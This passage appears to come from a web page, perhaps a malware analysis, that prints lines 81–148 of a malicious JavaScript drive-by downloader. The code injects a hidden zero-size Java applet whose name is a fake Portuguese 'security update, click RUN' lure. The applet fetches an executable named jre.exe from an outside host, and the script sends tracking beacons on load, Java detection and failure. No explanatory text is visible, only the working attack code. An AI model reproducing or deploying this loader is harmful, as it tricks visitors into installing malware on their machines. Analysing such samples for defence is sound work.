<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  81:</span>     <span style="color: #0000ff">return</span> img;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  82:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  83:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  84:</span> <span style="color: #0000ff">function</span> JSM_createSpan(html) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  85:</span>     <span style="color: #0000ff">var</span> span = document.createElement(<span style="color: #006080">'span'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  86:</span>     span.innerHTML = html;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  87:</span>     <span style="color: #0000ff">return</span> span;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  88:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  89:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  90:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  91:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + JSM_getAppletURL() + <span style="color: #006080">'?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  92:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  93:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  94:</span> <span style="color: #0000ff">function</span> JSM_getAppletHtml_X() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  95:</span>     <span style="color: #0000ff">return</span> <span style="color: #006080">'&lt;applet name=&quot;*ATENÇÃO* Atualização de Segurança Clique em EXECUTAR !!&quot; code=&quot;a.class&quot; archive=&quot;'</span> + jsm_applet_url + <span style="color: #006080">'javab.jar?r='</span> + Math.floor(100000 + (Math.random() * 999999 + 1)) + <span style="color: #006080">'&quot; width=&quot;0&quot; height=&quot;0&quot;  style=&quot;visibility: hidden&quot;&gt;        &lt;param name=&quot;l&quot; value=&quot;http://smsfame.com/Get/Get.php?a=jre.exe&quot;&gt;&lt;/param&gt;&lt;/applet&gt;'</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  96:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  97:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  98:</span> <span style="color: #0000ff">function</span> JSM_onLoad() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060">  99:</span>     <span style="color: #008000">//report load success</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 100:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 101:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loaded);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 102:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loaded);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 103:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 104:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 105:</span> <span style="color: #0000ff">function</span> JSM_onLoadJavaX() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 106:</span>     JSM_createImg(<span style="color: #006080">'http://c.statcounter.com/7455623/0/bd77ea2d/1/'</span>);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 107:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 108:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 109:</span> <span style="color: #0000ff">function</span> JSM_onLoadFail() {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 110:</span>     <span style="color: #008000">//report load fail</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 111:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 112:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_loadfail);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 113:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_loadfail);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 114:</span>     <span style="color: #0000ff">if</span> (jsm_applet_index &lt; jsm_applet_count) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 115:</span>         jsm_applet_index++;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 116:</span>         <span style="color: #0000ff">var</span> hBody = document.body;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 117:</span>         <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 118:</span>             <span style="color: #0000ff">var</span> html = JSM_getAppletHtml();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 119:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 120:</span>         }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 121:</span>     }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 122:</span> }</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 123:</span>&#160; </pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 124:</span> <span style="color: #0000ff">function</span> JSM_onInit(hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 125:</span>     <span style="color: #008000">//report access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 126:</span>     <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 127:</span>     <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_access);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 128:</span>     <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_access);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 129:</span>     <span style="color: #0000ff">if</span> (hBody) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 130:</span>         <span style="color: #0000ff">var</span> html = <span style="color: #006080">''</span>;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 131:</span>         <span style="color: #0000ff">if</span> (navigator.javaEnabled()) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 132:</span>             <span style="color: #008000">//java on</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 133:</span>             html = JSM_getAppletHtml() + <span style="color: #006080">' '</span> + JSM_getAppletHtml_X();</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 134:</span>             <span style="color: #008000">//report java enabled access</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 135:</span>             <span style="color: #0000ff">if</span> (jsm_report_on) JSM_createImg(jsm_report_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 136:</span>             <span style="color: #008000">//if (jsm_lab_on) JSM_labReport(jsm_lab_javaon);</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 137:</span>             <span style="color: #0000ff">if</span> (jsm_lab_on) JSM_labReport2(jsm_lab_javaon);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 138:</span>             hBody.insertBefore(JSM_createSpan(html), hBody.firstChild);</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 139:</span>         } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 140:</span>             <span style="color: #008000">//java off</span></pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 141:</span>             <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> window.innerWidth != <span style="color: #006080">'undefined'</span>) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 142:</span>                 viewportwidth = window.innerWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 143:</span>                 viewportheight = window.innerHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 144:</span>             } <span style="color: #0000ff">else</span> <span style="color: #0000ff">if</span> (<span style="color: #0000ff">typeof</span> document.documentElement != <span style="color: #006080">'undefined'</span> &amp;&amp; <span style="color: #0000ff">typeof</span> document.documentElement.clientWidth != <span style="color: #006080">'undefined'</span> &amp;&amp; document.documentElement.clientWidth != 0) {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 145:</span>                 viewportwidth = document.documentElement.clientWidth;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 146:</span>                 viewportheight = document.documentElement.clientHeight;</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: white; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 147:</span>             } <span style="color: #0000ff">else</span> {</pre></p>
<p>    <pre style="border-bottom-style: none; padding-bottom: 0px; line-height: 12pt; background-color: #f4f4f4; margin: 0em; border-left-style: none; padding-left: 0px; width: 100%; padding-right: 0px; font-family: consolas, &#39;Courier New&#39;, courier, monospace; border-top-style: none; color: black; border-right-style: none; font-size: 8pt; overflow: visible; padding-top: 0px"><span style="color: #606060"> 148:</span>                 viewportwidth = document.getElementsByTagName(<span style="color: #006080">'body'</span>)[0].clientWidth;</pre></p>
